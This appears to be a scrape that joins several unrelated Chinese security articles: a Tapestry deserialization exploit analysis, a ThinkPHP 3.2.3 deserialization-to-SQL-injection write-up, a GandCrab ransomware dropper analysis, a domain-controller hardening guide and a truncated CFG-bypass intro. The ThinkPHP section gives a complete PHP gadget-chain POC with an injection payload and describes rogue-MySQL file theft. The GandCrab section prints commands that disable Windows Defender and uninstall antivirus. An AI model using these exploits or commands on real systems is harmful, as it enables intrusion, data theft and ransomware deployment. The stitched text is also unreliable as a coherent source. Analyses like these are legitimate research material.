org.apache.tapestry.engine.DirectService
具体代码看了下如DirectService也是如此调用
然后就可以进一步搜索`extractListenerParameters`方法是否有进一步的利用，如下搜索，可以发现确实有一条调用readObject的调用链。
PS: 这里用ALIAS避免一些接口实现调用的问题，可以看到如下确实有接口实现问题，没有ALIAS是找不到完整利用链的。
match (:Class)-[:HAS]->(source:Method {SUB_SIGNATURE: "java.lang.Object[] extractListenerParameters(org.apache.tapestry.IRequestCycle)"})
match (sink:Method {NAME: "readObject"})
call apoc.algo.allSimplePaths(source,sink, "CALL>|ALIAS>", 10) yield path
return path limit 20
调用链打印如下，最终是在SerializableAdaptor里调用了readObject
match (:Class)-[:HAS]->(source:Method {SUB_SIGNATURE: "java.lang.Object[] extractListenerParameters(org.apache.tapestry.IRequestCycle)"})
match (sink:Method {NAME: "readObject"})
call apoc.algo.allSimplePaths(source,sink, "CALL>|ALIAS>", 10) yield path
return [n in nodes(path) | n.CLASSNAME +"#" + n.NAME] limit 1
"org.apache.tapestry.services.impl.LinkFactoryImpl#extractListenerParameters"
"org.apache.tapestry.services.DataSqueezer#unsqueeze"
"org.apache.tapestry.util.io.DataSqueezerImpl#unsqueeze"
"org.apache.tapestry.util.io.DataSqueezerImpl#unsqueeze"
"org.apache.tapestry.util.io.SqueezeAdaptor#unsqueeze"
"org.apache.tapestry.util.io.SerializableAdaptor#unsqueeze"
"java.io.ObjectInputStream#readObject"
## 利用链构造
对于传入的encoded，base64解码直接反序列化，接下来就看是否可以触发利用了。
上面三个source，找一个比如DirectService.class，如下，想走到`extractListenerParameters`，那么他对应的page页面中，应该存在IDirect组件，component是tapestry里的一个概念，是一组特殊的标签，用来动态生成页面。
如下jwcid里就设置了组件类型，内置的几个常用组件有`@PageLink`、`@DirectLink`、`@Insert`、`@Form`，这里没有指定组件名，一般格式是`test@DirectLink`，那么组件名就是test，下面例子是匿名组件，需要调用的话，传参如`component=$Form`
而DrectService需要的组件类型必须是实现了IDirect，如下Form和DirectLink都行。
尝试传参`service=direct&sp=123&page=Form&component=%24Form`，成功进入下面。
进一步到如下位置，这个函数就是对参数解码的，可以看到他会根据`首字母-33`来判断使用哪个adaptor进行解码
我们需要的`SerializableAdaptor`也是其中一个，所以接下来就需要知道`this._adaptorByPrefix`哪个索引对应的是`SerializableAdaptor`
如下46和57对应的就是`SerializableAdaptor`，也就是传入`79=O或90=Z`
为啥有两个值其实之前已经提示了，传入Z则会进行GZIP解压，O则只是Base64
接着就可以构造反序列化数据了，先看下默认依赖，可以看到里面有commons-beanutils，如此甚好。
这里不用GZIP，简单Base64编码，发送，触发利用，进一步回显、内存马就是一些常规操作了。
#
## 利用条件
上面只测试了DirectService的Form组件，其实sp想要正确传参，Form组件需要设置允许提交String类型，否则会存在sp转换报错。
总结下
DirectService
1. 页面中存在Form或DirectLink组件，也就是jwcid设置，并且知道componentId
2. 组件设置允许用户输入String类型数据
那么黑盒如何找Form这种页面了，其实这种页面很正常，在Tapestry里，遇到表单提交的场景，基本都是用的Form，比如我本地测试的
再看一下html代码，有几个hidden的属性，根据seedids、component这些就能确认目标是否使用了Form，并且可以根据这个判断是Tapestry
# 总结
这个洞其实看分析，调用链比较明显，但其实蛮多坑的，最开始自己搭建Tapestry环境，存在不少问题，Form组件要能够接收用户输入，这个还是找了个demo才搞定的。
最开始分析这个洞的时候，没有补丁也没有分析，调了一会没耐心就放弃了，害不知道是不是太晚了、还是因为项目没结束，总感觉太急躁了，其实仔细看看他的使用文档，应该能很快找到sp参数的利用，棋差一步，搞研究还是得静下心来。
还有tabby还是蛮好用的，之前没发现利用链也是因为忘了ALIAS，算是又学习了一些cypher的使用技巧吧。之前使用tabby太过粗糙，因为他还没有污点跟踪，所以不能完全依赖他做分析，像这个漏洞，最好手动搜索下sp参数的相关方法，这些方法是否可被路由到，这时候就需要学习应用框架，比如Tapestry里的service，然后找到sp可用方法，进一步搜索是否存在到sink（readObject）的调用链，这样就能比较快速找到利用链了。
这个方法是在知道source的情况下去分析的，一般来说需要先人工分析sink，最好是项目里的sink（也就是对更底层sink的封装），对一些可用的项目类中的方法做提取，然后以这些方法为sink，可以大大缩小范围。然后再看端点到这些sink的调用链是否存在。
如果找项目类中sink太麻烦，也可以先结合tabby去筛选，找到可用sink。
# 补充
关于tapestry里的一些问题，比如某个类为什么无法调试，他很可能是tapestry动态创建了你当前类的子类
# 参考
* <https://www.docin.com/p-269103901.html>
* <https://iowiki.com/apache_tapestry/apache_tapestry_index.html>
* <https://blog.csdn.net/CSDN__Java/article/details/49100277>
* demo <https://github.dev/codepreplabs/tapestry4Tutorial> | 社区文章 |
# ThinkPHP3.2.3 反序列化&sql注入漏洞分析
### 环境
php5.6.9 thinkphp3.2.3
## 漏洞分析
首先全局搜索 `__destruct`，这里的 $this->img 可控，可以利用其来调用 其他类的`destroy()`
方法，或者可以用的`__call()` 方法，`__call()` 方法并没有可以利用的
那就去找 `destroy()` 方法
注意这里，`destroy()` 是有参数的，而我们调用的时候没有传参，这在`php5`中是可以的，只发出警告，但还是会执行。但是在`php7`
里面就会报出错误，不会执行。所以漏洞需要用`php5`的环境。
继续寻找可利用的`delete()`方法。
在`Think\Model`类即其继承类里，可以找到这个方法，还有数据库驱动类中也有这个方法的，`thinkphp3`的数据库模型类的最终是会调用到数据库驱动类中的。
先看`Model`类中
还需要注意这里！！如果没有 `$options['where']` 会直接`return`掉。
跟进 `getPK()` 方法
`$pk` 可控 `$this->data` 可控 。
最终去驱动类的入口在这里
下面是驱动类的`delete`方法
我们在一开始调用`Model`类的`delete`方法的时候，传入的参数是
$this->sessionName.$sessID
而后面我们执行的时候是依靠数组的，数组是不可以用 字符串连接符的。参数控制不可以利用`$this->sessionName`。
但是可以令其为空（本来就是空），会进入`Model` 类中的`delete`方法中的第一个`if`分支，然后再次调用`delete`方法，把
`$this->data[$pk]` 作为参数传入，这是我们可以控制的！
看代码也不难发现注入点是在 `$table` 这里，也就是 `$options['table']`，也就是
`$this->data[$this->pk['table']]`;
直接跟进 `driver`类中的`execute()` 方法
跟进 `initConnect()` 方法
跟进`connect()` 方法
数据库的连接时通过 `PDO` 来实现的，可以堆叠注入(`PDO::MYSQL_ATTR_MULTI_STATEMENTS => true` )
需要指定这个配置。
这里控制 `$this->config` 来连接数据库。
`driver`类时抽象类，我们需要用`mysql`类来实例化。
到这里一条反序列化触发`sql`注入的链子就做好了。
## POC
<?php
namespace Think\Image\Driver;
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
namespace Think\Session\Driver;
use Think\Model;
class Memcache {
protected $handle;
public function __construct(){
$this->sessionName=null;
$this->handle= new Model();
}
}
namespace Think;
use Think\Db\Driver\Mysql;
class Model{
protected $pk;
protected $options;
protected $data;
protected $db;
public function __construct(){
$this->options['where']='';
$this->pk='jiang';
$this->data[$this->pk]=array(
"table"=>"mysql.user where 1=updatexml(1,concat(0x7e,user()),1)#",
"where"=>"1=1"
);
$this->db=new Mysql();
}
}
namespace Think\Db\Driver;
use PDO;
class Mysql{
protected $options ;
protected $config ;
public function __construct(){
$this->options= array(PDO::MYSQL_ATTR_LOCAL_INFILE => true ); // 开启才能读取文件
$this->config= array(
"debug" => 1,
"database" => "mysql",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}
}
use Think\Image\Driver\Imagick;
echo base64_encode(serialize(new Imagick()));
`table` 需要是一张存在的表，比如`mysql.user`，或者`information_schemata` 里面的表，否则会报表不存在的错误。
这里可以连接任意服务器，所以还有一种利用方式，就是 **MySQL恶意服务端读取客户端文件漏洞。**
利用方式就是我们需要开启一个恶意的`mysql`服务，然后让客户端去访问的时候，我们的恶意`mysql`服务就会读出客户端的可读文件。这里的`hostname`
是开启的恶意`mysql`服务的地址以及`3307`端口
下面搭建恶意`mysql`服务，用的是原作者的<https://github.com/Gifts/Rogue-MySql-Server>
还有一个go版本的，看起来比较全面。<https://github.com/rmb122/rogue_mysql_server>
修改`port` 和`filelist`
执行`python`脚本后，发包，触发反序列化后，就会去连接恶意服务器，然后把客户端下的文件带出来。
下面就是`mysql.log` 中的 文件信息`(flag.txt)`
当脚本处于运行中的时候，我们只可以读取第一次脚本运行时定义的文件，因为`mysql`服务已经打开了，我们需要关闭mysql服务，然后才可以修改脚本中的其他文件。
ps -ef|grep mysql
然后依次 `kill` 就好。
## 写在后面
如果觉得sql注入攻击局限了，还可以配合MySQL恶意服务器实现任意文件读取。
先前并没有看过tp3 的洞，这次比赛（红明谷）的时候，拿到源码就开始审，直觉告诉我一定有可以利用的 `__call`
方法，于是头铁去找，没找到也没想去找其他类中的同名方法。如果一个地方的思路有两条，一条不通的时候，一定要去看看另一条，即使你不知道他是否也不通。 | 社区文章 |
# 一、样本简介
GandCrab应该是2018年最活跃的勒索病毒家族了，从2018年1月份出现GandCrabV1.0版本以来，到现在一直变化到了GandCrabV5.0版本，通过各种方式进行传播感染，笔者从分析GandCrabV1.0一直到GandCrabV5.0版本，之前一直分析GandCrab勒索病毒母体样本，这次给大家详细分析一下GandCrabV5.0.3的JS脚本，对于JS混淆类的脚本，只需要去混淆动态执行解密还原它本身的代码，就可以了。
# 二、详细分析
GandCrabV5.0.3的JS脚本主要功能：
(1)对抗Avast杀软
(2)对抗Windows Defender
(3)对抗MSE微软杀毒服务
(4)对抗Ahnlab安博士杀软
(5)生成GandCrabV5.0.3勒索病毒变种样本并执行
详细分析如下
1.JS代码，如下所示：
2.从以上JS脚本中提取出里面的解密后的代码，如下所示：
对里面的函数功能进行介绍,ffnoui生成相应的js脚本或GandCrab勒索病毒程序，如下所示：
hmvfdhlkxzz获取系统所有服务及运行状态，如下所示：
vwuyaxrl调用WScript.Shell执行生成的相应的JS脚本，如下所示：
3.对抗Avast杀软，如果检测到系统服务中包含Avast杀软服务，则生成相应的脚本并执行，如下所示：
生成的kyoxks.js脚本内容，如下所示：
解密出相应的JS脚本内容，如下所示：
以上脚本的功能是先将一代PowerShell脚本代码写入到注册表项中，相应的注册表项：
HKEY_CURRENT_USER\SOFTWARE\ycsdrr\pvrylqzhlnv，相应的PowerShell脚本解密之后，如下所示：
查找并启动Avast更新程序，同时拷贝相应的杀软文件到临时目录，清除缓存数据等，如下所示：
遍历Avast更新程序进程，如下所示：
查找Avast更新程序窗口进程ID，如下所示：
发送相应的消息，如下所示：
将上述的PowerShell命令代码写入到注册表之后，再通过PowerShell创建相应的计划任务并执行，通过计划任务执行上面的PowerShell代码，如下所示：
4.对抗Windows Defender，如果检测到系统服务中包含WdNisSvc或WinDefend服务，则生成相应的脚本并执行，如下所示：
生成的nykvwcajm.js脚本，如下所示：
解密出相应的JS脚本内容，查找WdNisSvc或WinDefend服务，如下所示：
将关闭Windows Defender软件实时监控和结束相关进程的命令写入到注册表项中，相应的注册表项，如下所示：
HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command\
HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command\
相应的命令行，如下所示：
cmd.exe /C "powershell Set-MpPreference -DisableRealtimeMonitoring $true &&
taskkill /im MSASCui _/f /t
cmd.exe /C "sc stop WinDefend && taskkill /im MSASCui_ /f /t
然后通过启动相关程序，执行命令，如下所示：
最后删除相应的注册表项，注册表项如下：
HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command\
HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command\
5.对抗MSE微软杀毒服务，如果检测到系统服务中包含NisSrv，则生成相应的脚本并执行，如下所示：
生成的bervcptyvulur.js脚本的内容，如下所示：
解密出相应的JS脚本内容，查找系统服务中是否存在NisSrv服务，如下所示：
将关闭MSE进程的代码写入到注册表中，相应的注册表项：
HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command\
HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command\
相应的代码：
MsiExec.exe /X{2AA3C13E-0531-41B8-AE48-AE28C940A809} ACCEPT=YES /qr+ /quiet
然后启动相关进程，执行关闭MSE的代码，如下所示：
最后删除相应的注册表项，注册表项如下：
HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command\
HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command\
6.对抗安博士杀软，如果检测到系统服务中包含V3 Service，则生成相应的脚本并执行，如下所示：
生成的recjyzcz.js脚本的内容，如下所示：
解密出相应的JS脚本内容，查找系统服务中是否存在V3 Service服务，如下所示：
将一串base64加密的字符串写入到相应的注册表项，如下所示：
写入的注册表项为：HKEY_CURRENT_USER\Software\capvzgf\cazysa，通过Base64解密出相应的字符串，查找Ahnlab安博士杀软的卸载程序，并执行卸载程序，如下所示：
然后将执行此注册表项命令的PowerShell脚本写入到相应的注册表项，并通过启动相应的程序执行，如下所示：
执行注册表项的PowerShell命令解密出来的代码，如下所示：
最后通过执行PowerShell脚本，查找启动Ahnlab的卸载程序，卸载Ahnlab杀毒软件，同时删除相应的注册表项，注册表项如下：
HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command\
HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command\
7.最后生成GandCrabV5.0.3的勒索病毒母体，并执行勒索病毒加密主机，如下所示：
生成的相应的GandCrabV5.0.3版本的勒索病毒样本，样本运行之后，如下所示：
勒索信息文本文件，如下所示：
解密的TOR链接相关信息，如下所示：
8.这里我也简单分析一下GandCrabV5.0.3的勒索病毒样本吧，主要是教一些人怎么提取一下Payload代码，虽然这不是本文的重点，但你不说总有人不会，GandCrabV5.0.3第一层解密操作，如下所示：
解密出相应的代码，如下所示：
9.然后动态调试，执行到如下地址处，进行第二层Payload的解密操作，如下所示：
解密出第二层GandCrabV5.0.3的核心Payload代码，从内存中Dump出来，修复PE文件之后，如下所示：
可以看到这个GandCrab勒索病毒的版本为GandCrabV5.0.3，如下所示：
这里就不详细分析GandCrab核心Payload代码了，GandCrabV5.0.3的核心代码与GandCrabV5.0的核心代码是差不多的，可以参考之前我分析发表过的GandCrabV5.0勒索病毒分析报告（百度搜索：勒索病毒GandCrabV5.0最新变种来袭）。
从JS脚本释放的GandCrabV5.0.3的母体是一个外壳，它会在内存中通过二次解密出相应的GandCrabV5.0.3的核心加密Payload代码，这也是母体样本分析的重点，也是动态调试的关键点，解密出相应的核心代码之后，然后再在内存中执行相应的加密操作，有兴趣的可以自己动态调试分析。
# 三、IOC
MD5
595A31A4913951D3EB7211618AE75DEA JS下载脚本
95557A29DE4B70A25CE62A03472BE684 GandCrabV5.0.3勒索病毒样本
样本解压密码：infected | 社区文章 |
Active Directory的安全始于能确保安全地配置域控制器（DC）。 在今年夏天的BlackHat
USA大会上，我非常专业的提到了AD的安全，并提供了关于如何能够最好程度上保护Active Directory安全的一些提示。
这篇文章主要关注域控制器的安全性和一些跨越Active Directory的安全性。毕竟我的博客被称为“ADSecurity” …
本文将会涵盖一些通过保护域控制器（简称“域控”）来保护Active Directory安全性的最佳方法，包括以下几个部分：
默认域和域控制器策略
创建域和域控制器安全基线GPO
修补域控制器
保护域控制器
域控制器推荐的组策略设置
配置域控制器审查模式（事件日志）
需要监控的域控制器事件（事件日志）
关键域控制器安全项
与基础架构的任何重大更改一样，请在部署更改之前进行测试。以免发生意外。
**推荐的域控制器组策略设置**
本节涵盖了推荐的域控制器安全设置，其中有许多安全设置是在SCM中的Microsoft安全基准中进行了描述和设置。
请在应用这些设置前进行完整的测试。
**启用NTLM审查**
限制NTLM：审查收到的NTLM流量：启用对所有帐户的审查
此策略设置允许你审核传入的NTLM流量。
至少在Windows 7或Windows Server 2008 R2以上支持此策略。
注意：审计事件被记录在此计算机上位于应用程序和服务日志/Microsoft/Windows/ NTLM下的“操作”日志中。
**限制NTLM：审查此域中的NTLM身份验证：启用所有**
此策略设置允许你从此域控制器中审核该域中的NTLM身份验证。
此策略至少在Windows Server 2008 R2上受支持。
注意：该审计事件被记录在此计算机上位于应用程序和服务日志/ Microsoft / Windows / NTLM下的“操作”日志中。
**LAN Manager认证级别：仅发送NTLMv2响应。拒绝LM＆NTLM**
默认情况下，此配置设置为“仅发送NTLMv2响应”。
在Microsoft安全合规性管理器中，Microsoft建议将此配置设置为“仅发送NTLMv2响应。拒绝LM＆NTLM。然而，许多网络环境中仍在使用NTLMv1进行身份验证，因此可能需要启用NTLM身份验证审查模式以识别在企业中是如何使用NTLM进行身份验证的。
LAN
Manager（LM）是一个早期的Microsoft客户端/服务器软件系列，它允许用户在单个网络上将个人计算机链接在一起。网络功能包括传输文件和打印共享，用户安全功能和网络管理工具。在Active
Directory域中，Kerberos协议是默认的身份验证协议。但是，如果Kerberos协议由于某种原因未协商，Active
Directory将使用LM，NTLM或NTLMv2。
LAN
Manager身份验证包括LM，NTLM和NTLM版本2（NTLMv2）变体，并且是用于在执行以下操作时对所有的Windows客户端进行身份验证的协议：
加入域
在Active Directory林之间进行身份验证
对下级域进行身份验证
验证不运行Windows 2000，Windows Server 2003或Windows XP的计算机
向不在域中的计算机进行身份验证
对于网络安全性：LAN Manager进行身份验证的级别设置的可能值有如下几个：
发送LM和NTLM响应
发送LM＆NTLM - 如果协商则使用NTLMv2会话安全
仅发送NTLM响应
仅发送NTLMv2响应
仅发送NTLMv2响应\拒绝LM
仅发送NTLMv2响应\拒绝LM和NTLM
未定义的
网络安全：LAN
Manager认证级别设置用于确定用于网络登录的挑战或响应认证协议。此选项影响客户端使用的身份验证协议级别，计算机协商的会话安全级别以及服务器接受的身份验证级别如下：
\1. 发送LM和NTLM响应。客户端使用LM和NTLM身份验证，并且从不使用NTLMv2安全会话。域控制器接受LM，NTLM和NTLMv2身份认证。
\2. 发送LM＆NTLM –
如果协商使用NTLMv2会话安全。客户端使用LM和NTLM进行身份验证，如果服务器支持的话，则会使用NTLMv2安全会话。域控制器接受LM，NTLM和NTLMv2身份认证。
\3. 仅发送NTLM响应。客户端仅使用NTLM身份验证，如果服务器支持，则使用NTLMv2会话安全性。域控制器接受LM，NTLM和NTLMv2认证。
\4.
仅发送NTLMv2响应。客户端仅使用NTLMv2进行身份验证，如果服务器支持的话，则会使用NTLMv2安全会话。域控制器接受LM，NTLM和NTLMv2身份认证。
\5.
仅发送NTLMv2响应\拒绝LM。客户端仅使用NTLMv2进行身份验证，如果服务器支持，则使用NTLMv2安全会话。域控制器拒绝LM（仅接受NTLM和NTLMv2身份验证）。
\6.
仅发送NTLMv2响应\拒绝LM＆NTLM。客户端仅使用NTLMv2进行身份验证，如果服务器支持，则使用NTLMv2安全会话。域控制器拒绝LM和NTLM（仅接受NTLMv2身份验证）。
这些设置对应于在其他Microsoft文档中讨论的级别如下：
\1. Level 0 –
发送LM和NTLM响应;从不使用NTLMv2安全会话。客户端使用LM和NTLM进行身份验证，并且从不使用NTLMv2安全会话。域控制器接受LM，NTLM和NTLMv2身份认证。
\2. Level 1 –
如果协商使用NTLMv2安全会话。客户端则使用LM和NTLM进行身份验证，如果服务器支持，则使用NTLMv2安全会话。域控制器接受LM，NTLM和NTLMv2身份认证。
\3. Level 2 –
仅发送NTLM响应。客户端仅使用NTLM身份验证，如果服务器支持，则使用NTLMv2安全会话。域控制器接受LM，NTLM和NTLMv2认证。
\4. Level 3 –
仅发送NTLMv2响应。客户端使用NTLMv2进行身份验证，如果服务器支持，则使用NTLMv2安全会话。域控制器接受LM，NTLM和NTLMv2认证。
\5. Level 4 –
域控制器拒绝LM响应。客户端使用NTLM进行身份验证，如果服务器支持，则使用NTLMv2安全会话。域控制器拒绝LM身份认证，也就是说，只接受NTLM和NTLMv2。
\6. Level 5 –
域控制器拒绝LM和NTLM响应（仅接受NTLMv2）。如果服务器支持，客户端使用NTLMv2进行身份验证并使用NTLMv2安全会话。域控制器拒绝NTLM和LM身份验证（只接受NTLMv2）。
**Lsass.exe审核模式：启用**
启用“Lsass.exe审核模式”以确定在启用LSA保护时可能阻止的程序。
在启用LSA保护之前，请查看以下事件以确定一些潜在的问题：
\1.
事件3065：此事件会记录执行代码完整性检查以确定进程（通常为lsass.exe）尝试加载在共享节中不满足安全要求的特定驱动程序。但是，由于设置的系统策略，将允许加载镜像。
\2.
事件3066：此事件会记录执行代码完整性检查以确定进程（通常为lsass.exe）尝试加载不满足Microsoft签名级别要求的特定驱动程序。但是，由于设置的系统策略，将允许加载镜像。
你可以配置此设置以启用对Lsass.exe的审核，以便你可以评估启用LSA保护的可行性。你可以使用审计模式来识别在LSA保护模式下将无法加载的LSA插件和驱动程序。在审计模式下，系统将生成事件日志，标识在LSA保护启用时将无法在LSA下加载的所有插件和驱动程序。在不阻止插件或驱动程序的情况下记录消息。
如果启用此设置，将启用Lsass.exe审核模式，并在事件日志中生成事件。
如果禁用或不配置此设置，Lsass.exe审核模式将被禁用，并且事件日志中不会生成相关事件。
**启用LSA保护：启用**
在域控制器上启用此保护设置之前，请先启用“Lsass.exe审核模式”以确定可能阻止哪些程序。
使用此保护设置为本地安全机构（LSA）进程配置其他保护，以防止可能危及凭证的代码注入。
在使用安全引导和UEFI的基于x86或基于x64的设备上，当通过使用注册表项启用LSA保护时，UEFI固件中将设置UEFI变量。当设置存储在固件中时，UEFI变量不能在注册表项中删除或更改。
UEFI变量必须重置。
不支持UEFI或安全引导的基于x86或基于x64的设备此保护设置将被禁用，无法将固件中的LSA保护配置存储，而仅仅依赖于注册表项的存在。在这种情况下，可以通过使用对设备的远程访问来禁用LSA保护。
如果启用此设置，则启用LSA保护。
如果禁用或不配置此设置，则不会启用LSA保护。
**域成员：需要强（Windows 2000或更高版本）会话密钥：启用**
默认值为“Disabled”。
用于在域控制器和成员计算机之间建立安全通道进行通信的会话密钥在Windows 2000中要比在以前的Microsoft操作系统中强得多。
只要有可能，你应该利用这些更强的会话密钥来帮助保护通信的安全通道以免受网络劫持会话和窃听的攻击。
（窃听是一种黑客攻击的形式，网络数据在传输过程中被读取或改变，数据可以被修改或更改发送者，或被重定向）。
启用此策略设置后，只能与能够使用强会话密钥（128位）加密的安全通道数据的域控制器来建立安全通道。
要启用此策略设置，域中的所有域控制器必须能够使用强密钥加密安全通道数据，这意味着所有域控制器必须运行Microsoft Windows
2000或更高版本。如果需要与非基于Windows 2000的域进行通信，Microsoft建议你禁用此策略设置。
**网络安全：基于NTLM SSP（包括安全RPC）服务器的最小会话安全性：需要NTLMv2安全会话，需要128位加密**
默认设置为“无最小值”。
在Microsoft安全合规性管理器中，Microsoft建议将此配置设置为“需要NTLMv2安全会话且需要128位加密”以提高NTLM的安全性。
此策略设置以确定允许使用NTLM安全支持提供程序（SSP）的应用程序使用哪些行为。
SSP接口（SSPI）由需要身份验证服务的应用程序使用。该设置不会修改身份验证序列的工作方式，而是在使用SSPI的应用程序中需要某些行为。
网络安全性的可能值：基于NTLM SSP（包括安全RPC）服务器的最小会话安全性设置为：
1. 需要消息机密性。此选项仅在Windows XP和Windows Server 2003中可用，如果未协商加密，连接将失败。加密操作会将数据转换为在解密之前不可读的形式。
2. 需要消息完整性。此选项仅在Windows XP和Windows Server 2003中可用，如果未协商消息完整性，则连接将失败。可以通过消息签名来评估消息的完整性。消息签名证明消息未被篡改;它附加并标识发送者的加密签名，并且是消息的内容的数字表示。
3. 需要128位加密。如果未协商强加密（128位），连接将失败。
4. 需要NTLMv2会话安全性。如果未协商NTLMv2协议，连接将失败。
5. 未定义。
**Microsoft网络服务器：数字签名通信（如果客户端同意）：启用**
默认设置为Disabled。
会话劫持允许攻击者访问与客户端或服务器相同的网络来中断，结束或窃取正在进行的会话。攻击者可能会拦截和修改未签名的SMB数据包，然后修改流量并将其转发，导致服务器可能执行不良操作。或者，攻击者可以在合法认证之后作为服务器或客户端，并获得对数据的未经授权的访问。
SMB是许多Windows操作系统支持的资源共享协议。它是NetBIOS和许多其他协议的基础。
SMB会在用户和托管数据的服务器之间进行签名验证。如果任意一侧的认证过程失败，则不会进行数据传输。
此策略设置确定服务器端SMB服务是否能够签名SMB数据包，如果尝试建立连接的客户端请求这样做的话。如果客户端没有签名请求，同时如果Microsoft网络服务器：数字签名通信（始终）设置为未启用，那么将允许没有签名的连接。
注意在网络上的SMB客户端上启用此策略设置，使其能够完全有效地与你的环境中的所有客户端和服务器进行数据包签名通信。
**Microsoft网络服务器：数字签名通信（始终）：启用**
**Microsoft网络客户端：数字签名通信（始终）：启用**
默认情况下，这两个设置都配置为“禁用”。
会话劫持允许攻击者访问与客户端或服务器相同的网络来中断，结束或窃取正在进行的会话。攻击者可能会拦截和修改未签名的SMB数据包，然后修改流量并将其转发，导致服务器可能执行不良操作。或者，攻击者可以在合法认证之后作为服务器或客户端，并获得对数据的未经授权的访问。
SMB是许多Windows操作系统支持的资源共享协议。它是NetBIOS和许多其他协议的基础。
SMB签名验证用户和托管数据的服务器。如果任一侧认证过程失败，则不会发生数据传输。
此策略设置确定SMB客户端组件是否需要数据包签名。如果启用此策略设置，Microsoft网络客户端计算机无法与Microsoft网络服务器通信，除非该服务器同意签名SMB数据包。在与旧版客户端计算机的混合环境中，建议将此选项设置为“已禁用”，因为这些计算机将无法验证或访问域控制器。但是，你可以在Windows
2000或更高版本的环境中使用此策略设置。
注意当基于Windows
Vista的计算机已启用此策略设置，并且当它们连接到远程服务器上的文件或打印共享时，此时，重要的一点是该设置将会同步为当前连接的服务器的设置，Microsoft网络服务器：使用数字签名与那些服务器进行通信（总是）。有关这些设置的详细信息，请参阅威胁和对策指南第5章中的“Microsoft网络客户端和服务器：数字签名通信（四个相关设置）”部分。
**网络访问：不允许匿名枚举SAM帐户和共享：已启用**
默认设置为“禁用”。
未经授权的用户可以匿名列出帐户名称和共享资源，并使用该信息尝试猜测密码或执行社会工程学攻击。
此策略设置控制匿名用户枚举SAM帐户和共享的能力。如果启用此策略设置，匿名用户将无法枚举环境中的工作站上的域帐户用户名和网络共享名称。
网络访问：不允许匿名枚举SAM帐户和共享，建议在本指南中讨论的两个网络环境中配置为启用。
**WDigest身份验证（禁用可能需要KB2871997）：禁用**
默认情况下，在Windows Server 2012 R2及更高版本上是禁用了WDigest验证的，因此此设置将强制被禁用。
WDigest在Lsass.exe内存中留下用户的纯文本的等效密码，这使密码容易受到Pass-the-Hash和其他凭证窃取攻击。
当启用WDigest身份验证时，Lsass.exe会在内存中保留用户明文密码的副本，以防存在被窃取的风险。
Microsoft建议禁用WDigest身份验证，除非需要。
如果未配置此设置，则在Windows 8.1和Windows Server 2012 R2中禁用WDigest身份验证;它在Windows和Windows
Server的早期版本中默认是启用的。
必须首先安装更新KB2871997才能在Windows 7，Windows 8，Windows Server 2008 R2和Windows Server
2012中将此设置为禁用WDigest身份验证。
启用：启用WDigest身份验证。
禁用（推荐）：禁用WDigest身份验证。要使此设置在Windows 7，Windows 8，Windows Server 2008 R2或Windows
Server 2012上正常工作，必须先安装KB2871997。
有关详细信息，请参阅<http://support.microsoft.com/kb/2871997>，
[http://blogs.technet.com/b/srd/archive/2014/06/05/an-overview-of-kb2871997.aspx 。](http://blogs.technet.com/b/srd/archive/2014/06/05/an-overview-of-kb2871997.aspx%20%E3%80%82%20HKLM/SYSTEM/CurrentControlSet/Control/SecurityProviders/WDigest/UseLogonCredential%20REG_DWORD:0)
[HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential](http://blogs.technet.com/b/srd/archive/2014/06/05/an-overview-of-kb2871997.aspx%20%E3%80%82%20HKLM/SYSTEM/CurrentControlSet/Control/SecurityProviders/WDigest/UseLogonCredential%20REG_DWORD:0)
[REG_DWORD:0](http://blogs.technet.com/b/srd/archive/2014/06/05/an-overview-of-kb2871997.aspx%20%E3%80%82%20HKLM/SYSTEM/CurrentControlSet/Control/SecurityProviders/WDigest/UseLogonCredential%20REG_DWORD:0)
本文参考来源于adsecurity，如若转载，请注明来源于嘶吼： http://www.4hou.com/technology/3455.html | 社区文章 |
# 不看不知道，原来00后“小司机”也翻车！
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
年纪轻轻学会了上网，常年网上走，就能成为“老司机”吗？
NO！
根据以往的情况看，谁经常上网，谁就是网络威胁的受！害！者！
尚处于年少阶段的00后虽触网较早但防骗意识严重不足，已逐渐成为了不法分子眼中的“肥肉”。
大数据显示38.6%的00后收到了一份最不想要的“成人礼”！00后已经由过去的第三、第四突然跃居到网络诈骗受害者数量第一的位置。
颠覆认知！！！钓鱼网站比去年多7！倍！世界杯博彩诈骗，让人比梅西更慌
2018年上半年，我们竟然经历如此之多！用大数据揭秘生活工作中我们面临的那些“深坑”！如何避免“踩坑”？
您的浏览器不支持video标签 | 社区文章 |
# 【技术分享】绕过Windows 10的CFG机制（part2）
|
##### 译文声明
本文是翻译文章，文章来源：improsec.com
原文地址：<https://improsec.com/blog//bypassing-control-flow-guard-on-windows-10-part-ii>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[myswsun](http://bobao.360.cn/member/contribute?uid=2775084127)
预估稿费：200RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
传送门：[绕过Windows 10的CFG机制（part
1）](http://bobao.360.cn/learning/detail/3425.html)
**
**
**0x00 前言**
本文是绕过Windows
10的CFG机制的第二篇。这也是我2016年7月的一些研究成果，但是知道现在才能发布。依然是由Theori发布PoC的IE漏洞。本文将展示另一种绕过CFG的方法，同样只能在IE中起作用，在Edge中无效。假设读者已经读了之前的一篇博文，因此CFG的细节就不介绍了，我将直接跳入任意原始读写的点。
**
**
**0x01 查找另一种绕过CFG的方法**
